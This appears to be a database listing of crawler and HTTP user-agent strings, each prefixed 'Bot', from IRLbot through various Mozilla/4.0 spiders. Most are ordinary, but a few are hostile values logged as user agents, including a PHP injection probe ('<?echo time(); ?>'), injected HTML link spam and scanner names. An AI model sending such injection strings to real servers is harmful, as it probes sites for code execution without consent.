Bot IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)

Bot IRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/)

Bot IRP_edu_bot/Nutch-0.9

Bot IrssiUrlLog/0.2

Bot IS Alpha/Nutch-1.0

Bot Isara/Isara-1.0 (A non-profit search engine for the benefit of charity.; http://www.isara.org; search@isara.org)

Bot ISC Systems iRc Search 2.1

Bot iSearch/2.24

Bot iSEEKbot/iSEEKbot-0.9-dev (http://beta.iseek.com/iseekbot.html; bot at iseek dot com)

Bot Isidorus/2.0 (Isidorus; http://www.isidorus.com; crawler@isidorus.com)

Bot iSpider/1.0

Bot Its Me Dave

Bot iVia Downloader

Bot iVia Page Fetcher (http://ivia.ucr.edu/useragents.shtml)

Bot IxHTTP_Get/3.2.3 (OS/2)

Bot j13mbut<?echo time(); ?>j13mbut

Bot J2ME

Bot J2ME/UCWEB7.0.3.45/139/1002

Bot jabubo.com crawler 1.0 (http://www.jabubo.com - crwaling for meta-generator)

Bot JadynAve - http://www.jadynave.com/robot

Bot jak1471

Bot Jakarta Commons-HttpClient/2.0.1

Bot Jakarta Commons-HttpClient/2.0xxx

Bot Jakarta Commons-HttpClient/3.0

Bot Jakarta Commons-HttpClient/3.0-rc1

Bot Jakarta Commons-HttpClient/3.0-rc4

Bot Jakarta Commons-HttpClient/3.0-rcx

Bot Jakarta Commons-HttpClient/3.0.1

Bot Jakarta Commons-HttpClient/3.1

Bot Jakarta Commons-HttpClient/3.1-rc1

Bot Jambot/0.1.1 (Jambot; http://www.jambot.com/blog; crawler@jambot.com)

Bot Java 1.5 / IBM HTML Commons

Bot Java(TM) 2 Runtime Environment, Standard Edition

Bot Java/1.4.1

Bot Java/1.4.1_01

Bot Java/1.4.1_04

Bot Java/1.4.1_07

Bot Java/1.4.2

Bot Java/1.4.2_01

Bot Java/1.4.2_02

Bot Java/1.4.2_03

Bot Java/1.4.2_04

Bot Java/1.4.2_05

Bot Java/1.4.2_06

Bot Java/1.4.2_07

Bot Java/1.4.2_08

Bot Java/1.4.2_09

Bot Java/1.4.2_10

Bot Java/1.4.2_11

Bot Java/1.4.2_12

Bot Java/1.4.2_13

Bot Java/1.4.2_16

Bot Java/1.4.2_18

Bot Java/1.4.2_19

Bot Java/1.5.0

Bot Java/1.5.0-p3

Bot Java/1.5.0_01

Bot Java/1.5.0_02

Bot Java/1.5.0_03

Bot Java/1.5.0_04

Bot Java/1.5.0_05

Bot Java/1.5.0_06

Bot Java/1.5.0_07

Bot Java/1.5.0_08

Bot Java/1.5.0_09

Bot Java/1.5.0_10

Bot Java/1.5.0_11

Bot Java/1.5.0_12

Bot Java/1.5.0_13

Bot Java/1.5.0_14

Bot Java/1.5.0_15

Bot Java/1.5.0_16

Bot Java/1.5.0_17

Bot Java/1.5.0_18

Bot Java/1.5.0_19

Bot Java/1.5.0_20

Bot Java/1.5.0_21

Bot Java/1.5.0_22

Bot Java/1.6.0

Bot Java/1.6.0-beta

Bot Java/1.6.0-beta2

Bot Java/1.6.0-dp

Bot Java/1.6.0-oem

Bot Java/1.6.0-rc

Bot Java/1.6.0_0

Bot Java/1.6.0_01

Bot Java/1.6.0_01-ea

Bot Java/1.6.0_02

Bot Java/1.6.0_03

Bot Java/1.6.0_04

Bot Java/1.6.0_05

Bot Java/1.6.0_05-ea

Bot Java/1.6.0_06

Bot Java/1.6.0_07

Bot Java/1.6.0_10

Bot Java/1.6.0_10-beta

Bot Java/1.6.0_10-rc

Bot Java/1.6.0_10-rc2

Bot Java/1.6.0_11

Bot Java/1.6.0_12

Bot Java/1.6.0_13

Bot Java/1.6.0_14

Bot Java/1.6.0_15

Bot Java/1.6.0_16

Bot Java/1.6.0_17

Bot Java/1.6.0_18

Bot Java/1.6.0_19

Bot Java/1.6.0_20

Bot Java/1.6.0_20-ea

Bot Java/1.6.0_21

Bot Java/1.6.0_22

Bot Java/1.6.0_23

Bot Java/1.6.0_24

Bot Java/1.7.0

Bot Java/R100Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en]

Bot Java1.0.21.0

Bot Java1.1.8

Bot Java1.2.2

Bot Java1.3.0

Bot Java1.3.1

Bot Java1.3.1_01

Bot Java1.3.1_07

Bot Java1.3.1_18

Bot Java1.4.0

Bot Java1.4.0_01

Bot JavaPlatForm

Bot javascript:(function()%7Bfunction%20I(u)%7Bvar%20t=u.split('.'),e=t%5Bt.length-1%5D.toLowerCase();return%20%7Bgif:1,jpg:...

Bot javascript:void(setUserAgent('bwh3_user_agent'));

Bot javascript:void(setUserAgent('Googlebot/2.1+(+http://www.google.com/bot.html)'));

Bot Jaxified Bot (+http://www.jaxified.com/)

Bot Jaxified Bot (+http://www.jaxified.com/crawler/)

Bot Jaxified Crawler 1.0a (+http://www.jaxified.com/)

Bot Jaxified RSS Check Bot (+http://www.jaxified.com/)

Bot Jayde crawler

Bot Jayde Crawler. http://www.jayde.com

Bot Jbed Profile/MIDP-2.0 Configuration/CLDC-1.1 UNTRUSTED/1.0

Bot JEDI-VCL

Bot JetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/)

Bot JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/)

Bot JetBrains Omea Reader 2.2 (http://www.jetbrains.com/omea/reader/)

Bot Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0

Bot JNLP/6.0 javaws/1.6.0_14 (b08) Java/1.6.0_14

Bot JNLP/6.0 javaws/1.6.0_15 (b03) Java/1.6.0_15

Bot JNLP/6.0 javaws/1.6.0_21 (b07) Java/1.6.0_21

Bot JoBo/@JOBO_VERSION@(http://www.matuschek.net/jobo.html)

Bot JoBo/1.x (http://www.matuschek.net/jobo.html)

Bot JOC Web Spider

Bot Jomjaibot/1.0 Crawl ( http://www.jomrank.com/ )

Bot Jomjaibot/1.0 Crawl (+http://www.jomjaibot.com/)

Bot Jomjaibot/1.0 Crawl (http://www.jomrank.com/, http://www.thaiwebdb.com)

Bot jrCrawler/1.0b

Bot JS-Kit URL Resolver, http://js-kit.com/

Bot JSearched Sniffer

Bot JuicyBits_Indexer_0.02

Bot JuicyBits_Search_0.04

Bot jupiter/Nutch-1.2

Bot Juuhbot/2.1 (+http://www.juuh.com/Bot)

Bot Jyxobot/1

Bot K-Meleon/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko/20011011

Bot kahoona[Bot]/2.0+(compatible;+Mozilla+4.0;+MSIE+5.5;+http://kahoona.mylivepage.com/)

Bot kakle-spider/0.1 (kakle-spider; http://www.kakle.com/bot.html; support@kakle.com)

Bot KakleBot - www.kakle.com/0.1 (KakleBot - www.kakle.com; http://www.kakle.com/bot.html; support@kakle.com)

Bot kalooga/kalooga-3.4-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com)

Bot kalooga/kalooga-4.0-dev-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com)

Bot kalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler)

Bot kalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler; crawler@kalooga.com)

Bot kalooga/KaloogaBot (Kalooga; http://www.kalooga.com; info@kalooga.com)

Bot Kazehakase/0.4.3

Bot KBeeBot/0.5 Robot

Bot KDDI-CA33 UP.Browser/6.2.0.10.4 (compatible; Y!J-SRD/1.0; http://help.yahoo.co.jp/help/jp/search/indexing/indexing-27.ht...

Bot KDDI-CA33 UP.Browser/6.2.0.10.4 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Bot KDDI-SA31 UP.Browser/6.2.0.7.3.129 (GUI) MMP/2.0 (compatible;KDDI-Googlebot-Mobile/2.1; +http://www.google.com/bot.html)

Bot Keep Out.

Bot Keyword Analyzer 0.6.2 (www.keywordle.com)

Bot Keyword Density Analyzer v1.01 ( http://www.ranks.nl/tools/spider.html )

Bot KIKILbot/beta (www.kikil.com)

Bot kindsight/Nutch-1.0 (kscrawler; www.projectrialto.com; crawler@projectrialto.com)

Bot KIT webcrawler/0.2.4

Bot kmccrew Bot Search

Bot Knight/0.2 (Zook Knight; http://knight.zook.in/; knight@zook.in)

Bot KnowItAll(knowitall@cs.washington.edu)

Bot KnowItAll/Nutch-0.9 (Nutch-UW-Crawler; http://cs.washington.edu/homes/mjc/crawler.html; uwcrawler08@gmail.com)

Bot kooba Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1

Bot KRetrieve/1.1/dbsearchexpert.com

Bot Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://corp.krugle.com/crawler/info.html; webcrawler@krugle.com)

Bot Krugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://www.krugle.com/crawler/info.html; webcrawler@krugle.com)

Bot KS Crawler/Nutch-1.0 (http://www.kindsight.net/kscrawler; crawler@kindsight.net)

Bot KS Spider/Nutch-0.9

Bot KSCrawler/Nutch-1.0 (http://www.kindsight.net/en/kscrawler; crawler@kindsight.net)

Bot ksibot/8.0d (+http://ego.ms.mff.cuni.cz/)

Bot Kupengpat 2.7 (http://kupengpat.wapath.com)

Bot L.webis/0.44 (http://webalgo.iit.cnr.it/index.php?pg=lwebis)

Bot L.webis/0.50 (http://webalgo.iit.cnr.it/index.php?pg=lwebis)

Bot lanshanbot/1.0 (+http://search.msn.com/msnbot.htm)

Bot LapozzBot/1.4 (+http://robot.lapozz.com)

Bot LapozzBot/1.4 (+http://robot.lapozz.hu)

Bot LapozzBot/1.5 (+http://robot.lapozz.hu)

Bot lar larbin2.6.3@unspecified.mail

Bot larbin-m larbin@magellan.cc

Bot larbin_2.6.3

Bot larbin_2.6.3 (larbin2.6.3@unspecified.mail)

Bot larbin_2.6.3 atat@cs.bilkent.edu.tr

Bot larbin_2.6.3 gqnmgsp@ruc.edu.cn

Bot larbin_2.6.3 larbin2.6.3@unspecified.mail

Bot larbin_2.6.3 myemail@address.co.uk

Bot larbin_2.6.3 wgao@genieknows.com

Bot larbin_xy250 larbin2.6.3@unspecified.mail

Bot LarbinWebCrawler (spider@download11.com)

Bot LarbinWebCrawler spider@download11.com

Bot LargeSmall Crawler

Bot Layar/1.1

Bot LBot

Bot ldspider (http://code.google.com/p/ldspider/wiki/Robots)

Bot LeechGet 2006 (www.leechget.net)

Bot Lernsite Special Agent II

Bot LetsCrawl.com/1.0 +http://letscrawl.com/

Bot LexxeBot/1.0 (lexxebot@lexxe.com)

Bot LGE-VX8100/1.0 UP.Browser/6.2.3.2 (GUI) MMP/2.0

Bot li_viewer larbin2.6.3@unspecified.mail

Bot libcurl

Bot libcurl-agent/1.0

Bot libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3

Bot libghttp/1.0

Bot librabot

Bot librabot/1.0 (+http://search.msn.com/msnbot.htm)

Bot librabot/2.0 (+http://academic.research.microsoft.com/)

Bot libsoup/2.26.0

Bot libsoup/2.26.2

Bot libwww-perl

Bot libwww-perl/5.36

Bot libwww-perl/5.45

Bot libwww-perl/5.50

Bot libwww-perl/5.53

Bot libwww-perl/5.5394

Bot libwww-perl/5.63

Bot libwww-perl/5.65

Bot libwww-perl/5.68

Bot libwww-perl/5.69

Bot libwww-perl/5.75

Bot libwww-perl/5.76

Bot libwww-perl/5.801

Bot libwww-perl/5.802

Bot libwww-perl/5.803

Bot libwww-perl/5.805

Bot libwww-perl/5.806

Bot libwww-perl/5.808

Bot libwww-perl/5.810

Bot libwww-perl/5.811

Bot libwww-perl/5.812

Bot libwww-perl/5.813

Bot libwww-perl/5.814

Bot libwww-perl/5.816

Bot libwww-perl/5.817

Bot libwww-perl/5.818

Bot libwww-perl/5.819

Bot libwww-perl/5.820

Bot libwww-perl/5.822

Bot libwww-perl/5.823

Bot libwww-perl/5.825

Bot libwww-perl/5.826

Bot libwww-perl/5.828

Bot libwww-perl/5.829

Bot libwww-perl/5.830

Bot libwww-perl/5.831

Bot libwww-perl/5.832

Bot libwww-perl/5.833

Bot libwww-perl/5.834

Bot libwww-perl/5.836

Bot libwww-perl/5.837

Bot libwww-perl/6.01

Bot LII-Cello/1.0 libwww/2.5

Bot LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/; info(a)lijit(d)com)

Bot LijitSpider/Nutch-0.9 (Reports crawler; http://www.lijit.com/robot/crawler; info(a)lijit(d)com)

Bot LikelyFlow (http://likelyflow.com/)

Bot LIMEWIRE - the p2p.client (sjc0.tdmsic.org - Red Hat)

Bot Linguee Bot (bot@linguee.com)

Bot Linguee Bot (http://www.linguee.com/bot)

Bot Linguee Bot (http://www.linguee.com/bot; bot@linguee.com)

Bot linguee bot (http://www.linguee.TEst

Bot Link Checker

Bot LINK TRADE crawler ( +http://www.search.gvcbot.com/ )

Bot Link Valet Online 1.1

Bot Link Valet Online 1.2

Bot link_checker/1.1

Bot linkaGoGo domain crawler (http://www.linkagogo.com/) Java/1.6.0_03

Bot linkaGoGo domain crawler (http://www.linkagogo.com/) Java/1.6.0_07

Bot LinkAider

Bot LinkAider (http://linkaider.com/crawler/)

Bot LinkChecker/5.1 (+http://linkchecker.sourceforge.net/)

Bot linkdex.com/v2.0

Bot linkdexbot/Nutch-1.0-dev (http://www.linkdex.com/; crawl at linkdex dot com)

Bot LinkedIn share follower Harmen Timmer

Bot LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com)

Bot LinkedInBot/1.0 (compatible; Mozilla/5.0; Jakarta Commons-HttpClient/3.1 +http://www.linkedin.com)

Bot LinkExaminer/1.01 (Windows)

Bot LinkParser/2.0

Bot Links SQL (http://gossamer-threads.com/scripts/links-sql/)

Bot LinkSiteMaker/1.0 (+http://www.sasfead.com)

Bot LinksManager.com (http://linksmanager.com/linkchecker.html)

Bot LinkSweeper/1.1

Bot LinkWalker

Bot LinkWalker/2.0

Bot Linux

Bot linux null

Bot Linux Red Hat Enterprise; tdmsicDOTorg/ceeerffffffff - (http://www.tdmsic.org)

Bot LinxChequer/1.0

Bot Lisboa/Nutch-1.2

Bot Lite-Nav/1.01 ( <a href="http://gashnark.com/">http://gashnark.com</a> )

Bot Lite-Nav/1.02 ( <a href="http://gashnark.com/">http://gashnark.com</a> )

Bot livwww-perl/5.808

Bot ljt_ignoreme:14998

Bot llssbot/1.0(+http://labs.live.com;llssbot@microsoft.com)

Bot LMQueueBot/0.2

Bot lmspider/Nutch-0.9-dev (For research purposes.; www.nuance.com; lmspider@nuance.com)

Bot LocalcomBot/1.2 (+http://www.local.com/bot.htm)

Bot LocalcomBot/1.2.2 (+http://www.local.com/bot.htm)

Bot LocalcomBot/1.3.0 (+http://www.local.com/bot.htm)

Bot LocalcomBot/1.4.0 (+http://www.local.com/bot.htm)

Bot locallytargetbot/locallybotV2 (locallybotV2; http://www.locallytarget.com; bot@locallytarget.com)

Bot LongURL API

Bot LookUpCrawler - lookupcanada.ca [ZSEBOT]

Bot Loserbot/1.0

Bot Lovel as 1.0 ( +http://www.everatom.com)

Bot LPbot/Nutch-1.1

Bot Lsearch/sondeur

Bot LTH Browser 3.02a (compatible; mozilla ; Windows NT 5.1; SV1; http://www.learntohack.nil; .NET CLR 1.1.4322; http://www....

Bot LTH Browser 3.02a (compatible; mozilla; Windows NT 5.1; SV1; http://www.learntohack.nil; .NET CLR 1.1.4322; http://www.l...

Bot LTH Browser/3.02a

Bot LTH Browser/3.02a (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Bot LTH Browser/3.02a (http://www.learntohack.nil)

Bot LTH Browsery\3.02a (Windows NT 5.1; U)

Bot LTI/LemurProject Nutch Spider/Nutch-1.0-dev (lti crawler for CMU; http://www.lti.cs.cmu.edu; changkuk at cmu dot edu)

Bot LTI/LemurProject Nutch Spider/Nutch-1.0-dev (Research spider using Nutch; http://lucene.apache.org/nutch/bot.html; admin...

Bot luchs.at URL checker

Bot LucidMedia ClickSense/4.0

Bot LucidMedia ClickSense/4.0 (support@lucidmedia.com; http://www.lucidmedia.com/)

Bot lwp-request/2.06

Bot lwp-request/2.07

Bot lwp-request/5.810

Bot lwp-request/5.834 libwww-perl/5.834

Bot lwp-trivial/1.35

Bot lwp-trivial/1.36

Bot lwp-trivial/1.38

Bot lwp-trivial/1.40

Bot lwp-trivial/1.41

Bot lwp-trivial/5.810

Bot LWP::Simple/5.75

Bot LWP::Simple/5.800

Bot LWP::Simple/5.803

Bot LWP::Simple/5.812

Bot LWP::Simple/5.814

Bot LWP::Simple/5.827 libwww-perl/5.828

Bot LWP::Simple/5.827 libwww-perl/5.830

Bot LWP::Simple/5.827 libwww-perl/5.831

Bot LWP::Simple/5.827 libwww-perl/5.833

Bot LWP::Simple/5.827 libwww-perl/5.834

Bot LWP::Simple/5.835 libwww-perl/5.836

Bot LWP::Simple/5.835 libwww-perl/5.837

Bot Lycos_Spider_(modspider)

Bot Lynx/2.8 (;http://seebot.org)

Bot magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)

Bot Mahalobot/1.0 (+http://www.mahalo.com/)

Bot Mail Harvester

Bot Mail.Ru/1.0

Bot MakeMyReport.com Search Engine - http://www.makemyreport.com

Bot male.com.sg/Nutch-1.1 (http://www.male.com.sg; crawler@male.com.sg)

Bot MalleHenkie/2.0.0.3a

Bot MalleHenkie/3.0.1.20a

Bot Manav/Nutch-0.9 (1.0; manavraman at yahoo dot com)

Bot Manav/Nutch-1.0-dev (1.0; manavraman at yahoo dot com)

Bot Mapy::Spider 0.01

Bot mars/0.1 (+macrothela)

Bot mars/1.0 (+macrothela)

Bot mars\0.1 (+macrothela)

Bot martin/0.1 (+http://bot.macrothela.net)

Bot Martin/Nutch-1.0 (Nutch spiderman; MyEmail)

Bot MaSagool/1.0 (MaSagool; http://sagool.jp/)

Bot MaSagool/Mozilla/5.0 (MaSagool; http://sagool.jp/)

Bot masidani_bot_v0.3 info@masidani.com

Bot maui UNTRUSTED/1.0/AJSC/1.5

Bot McBot/5.001 (windows; U; NT4.0; en-us)

Bot MCT Spider (TM) 2025

Bot MDbot/1.0 (+http://www.megadownload.net/bot.html)

Bot MECOM-IndexBot/1.1

Bot Mediapartners-Google

Bot Mediapartners-Google (via babelfish.yahoo.com)

Bot Mediapartners-Google,gzip(gfe) AppEngine-Google; (+http://code.google.com/appengine; appid: ccnaforyou)

Bot Mediapartners-Google,gzip(gfe) AppEngine-Google; (+http://code.google.com/appengine; appid: go2-jp2)

Bot Mediapartners-Google,gzip(gfe) AppEngine-Google; (+http://code.google.com/appengine; appid: ivoluntarily)

Bot Mediapartners-Google/2.1

Bot Mediapartners-Google/2.1 (+http://www.googlebot.com/bot.html)

Bot Mediapartners-Google/PHP-proxy [phpdown Ver. 2.2.6]

Bot MEGAUPLOAD 1.0

Bot Megite2.0 (http://www.megite.com)

Bot Mercurius.exe

Bot mercury/Nutch-1.2

Bot Meta Offline Explorer

Bot MetaGeneratorCrawler/1.1 (www.metagenerator.info)

Bot MetaGer_PreChecker0.1

Bot Metasearch Crawler/1.0

Bot Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/)

Bot Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/)"

Bot Metaspinner/1.0 (Metaspinner Search Engine; http://www.meta-spinner.de/; support@meta-spinner.de)

Bot MetaTagRobot/1.9 (http://www.widexl.com/remote/search-engines/metatag-analyzer.html)

Bot metatagsdir/0.7 (+http://metatagsdir.com/directory/)

Bot MetaURI API +metauri.com

Bot MetaURI API/2.0 +metauri.com

Bot MFC_Tear_Sample

Bot MicroAd/1.0 (http://www.microad.jp/)

Bot MicroCosmoTalk (R)(C)® Spider 0.01

Bot MicroCosmoTalk ® Spider 0.01

Bot MicroCosmoTalk(TM) Spider

Bot Microsoft Bing Mobile SocialStreams Bot

Bot Microsoft Data Access Internet Publishing Provider Cache Manager

Bot Microsoft Data Access Internet Publishing Provider DAV

Bot Microsoft Data Access Internet Publishing Provider DAV 1.1

Bot Microsoft Data Access Internet Publishing Provider DAV 1.2

Bot Microsoft Data Access Internet Publishing Provider Protocol Discovery

Bot Microsoft Local Search Bot

Bot Microsoft MSN SocialStreams Bot

Bot Microsoft Office Existence Discovery

Bot Microsoft Small Business Indexer

Bot Microsoft URL Control - 6.00.8169

Bot Microsoft URL Control - 6.00.8169, DynaWeb http://www.dit-inc.us/disclaimer.php

Bot Microsoft URL Control - 6.00.8862

Bot Microsoft URL Control - 6.00.8862, DynaWeb http://www.dit-inc.us/disclaimer.php

Bot Microsoft URL Control - 6.00.8877

Bot Microsoft URL Control - 6.01.9782

Bot Microsoft URL Control - 6.01.9816

Bot Microsoft Windows Network Diagnostics

Bot Microsoft-WebDAV-MiniRedir/5.1.2600

Bot Microsoft-WebDAV-MiniRedir/6.0.6002

Bot MicroStation Web Links

Bot Microwave Oven

Bot MidnightBowling/1.1.6 CFNetwork/339.3 Darwin/9.4.1

Bot MiL-Scavenger

Bot minicrawler

Bot miniRank/2.0 (miniRank; http://minirank.com/; website ranking engine)

Bot Missigua Locator 1.9

Bot Mister Pix II 2.10

Bot Mister Pix II 2.15

Bot Mister Wong-Bot/1.0 (http://www.mister-wong.de)

Bot mixi-crawler/2.00 (http://mixi.jp/)

Bot MJ12bot (mini)/1.0.0 (DIRECT SUBMIT VERSION!) (http://majestic12.co.uk/bot.php? )

Bot MJ12bot (mini)/1.0.0 (DIRECT SUBMIT VERSION!) (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.0 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.1 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.2 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.3 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.4 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.1.0 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.1.1 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.1.2 (http://majestic12.co.uk/bot.php?+)

Bot MJ12bot/v1.2.0 (http://majestic12.co.uk/bot.php?+)

Bot MLBot (www.metadatalabs.com)

Bot MLBot (www.metadatalabs.com/mlbot)

Bot mmcrawler/Nutch-1.0 (MM Robots; http://; lindaoi1@hotmail.com)

Bot MMHttp (Windows; Version:8.0.2)

Bot Mnogosearch-3.1.21

Bot MnoGoSearch/3.2.40

Bot MnoGoSearch/3.3.4

Bot MnoGoSearch/3.3.9

Bot Mobitype mobile content integrator, http://mobitype.com (compatible; Mozilla/4.0; MSIE 6.0; Windows NT 5.0;)

Bot moeenbot

Bot Mofdala Bot http://www.mofdala.com

Bot MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html)

Bot MoJoBot/0.1 libwww-perl/5.805

Bot Moreoverbot/5.00 (+http://www.moreover.com)

Bot Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com)

Bot Moreoverbot/5.1 (+http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0

Bot Morfeus badbot

Bot Morpheus Fucking Scanner

Bot Most Excellent Browser

Bot MOT-A-2B/01.07 UP.Browser/4.1.27a1 UP.Link/6.2.3.19.0

Bot Motoricerca-Robots.txt-Checker/1.0 (http://tool.motoricerca.info/robots-checker.phtml)

Bot MovableType/4.23

Bot MovableType/x.x

Bot Mozilla (compatible; not MSIE; neither AppleWebKit or Gecko or Opera; certainly not Windows 6.0 nor other version nor L...

Bot Mozilla /5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla 4.0 - GetMeLinked Spider www.GetMeLinked.com Web Directory

Bot Mozilla crawl/5.0 (compatible; fairshare.cc +http://fairshare.cc)

Bot Mozilla crawl/5.0 (compatible; frt/1.13.2 +http://www..com)

Bot Mozilla/2.0 (compatible; Ask Jeeves/Teoma)

Bot Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http:/

Bot Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)

Bot Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/te

Bot Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)

Bot Mozilla/3.0 (compatible) Diamond ICT Zoekbot; 1.0; TEST;

Bot Mozilla/3.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/3.0 (compatible; ScollSpider; http://www.webwobot.com)

Bot Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)

Bot mozilla/3.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)

Bot Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; adcig74 <a href="http://irongeek.com"&g...

Bot Mozilla/4.0 (ActiveTouristBot V1.2 ;http://www.activetourist.com)

Bot Mozilla/4.0 (ActiveTouristBot; http://www.activetourist.com )

Bot Mozilla/4.0 (compatible; [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User Agent] @=&am...

Bot Mozilla/4.0 (compatible; Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.5; Gecko/20041201 Camino/0.8.0; SpiderWebb 7.0; Moz...

Bot Mozilla/4.0 (compatible; Vagabondo/2.3; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)

Bot Mozilla/4.0 (compatible; Vagabondo/4.0; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-...

Bot Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.w...

Bot Mozilla/4.0 (compatible; +http://housewaresnhome.info/g5ln1) <a href=http://housewaresnhome.info/c5ln1>hom...

Bot Mozilla/4.0 (compatible; bmdspider; windows 5.1)

Bot Mozilla/4.0 (compatible; bogospider; Linux)

Bot Mozilla/4.0 (compatible; BOTW Spider; +http://botw.org)

Bot Mozilla/4.0 (compatible; DepSpid/5.07; +http://about.depspid.net)

Bot Mozilla/4.0 (compatible; DepSpid/5.21; +http://about.depspid.net)

Bot Mozilla/4.0 (compatible; DepSpid/5.26; +http://about.depspid.net)

Bot Mozilla/4.0 (compatible; DepSpid/5.27; +http://about.depspid.net)

Bot Mozilla/4.0 (compatible; DepSpid/5.28; +http://about.depspid.net)

Bot Mozilla/4.0 (compatible; focuseekbot)

Bot Mozilla/4.0 (compatible; Googlebot/2.1 (+http://www.googlebot.com/bot.html); Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR...

Bot Mozilla/4.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html); Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3...

Bot Mozilla/4.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)

Bot Mozilla/4.0 (compatible; Googlebot/2.1; +http:www.google.com/bot.html)

Bot Mozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/search_engine.php)

Bot Mozilla/4.0 (compatible; grub-client-1.0.5; Crawl your own stuff with http://grub.org)

Bot Mozilla/4.0 (compatible; grub-client-1.3.7; Crawl your own stuff with http://grub.org)

Bot Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org)

Bot Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-cli...

Bot Mozilla/4.0 (compatible; grub-client-1.5.3; Crawl your own stuff with http://grub.org)

Bot Mozilla/4.0 (compatible; grub-client-2.3)

Bot Mozilla/4.0 (compatible; grub-client-2.6.0)

Bot Mozilla/4.0 (compatible; grub-client-2.6.1)

Bot Mozilla/4.0 (compatible; http://www.2ndhive.com/beebot)

Bot Mozilla/4.0 (compatible; Inspyder-Crawler; http://www.inspyder.com)

Bot Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.2.733) OrangeBot-Mobile 2008.0 (mob...

Bot Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 5.0 Robot)

Bot Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 6.0 Robot)

Bot Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA

Bot Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/)

Bot Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at gira

Bot Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com)

Bot Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DomainDB-1.0; http://domaindb.com/crawler)

Bot Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DomainDB-1.1; http://domaindb.com/crawler/)

Bot Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DomainGoat-1.0; http://domaingoat.com/crawler)

Bot Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; FeedFinder-2.0; http://bloggz.se/crawler)

Bot Mozilla/4.0 (compatible; MSIE 5.5; SuperSpider/139; Windows 98; Win 9x 4.90)

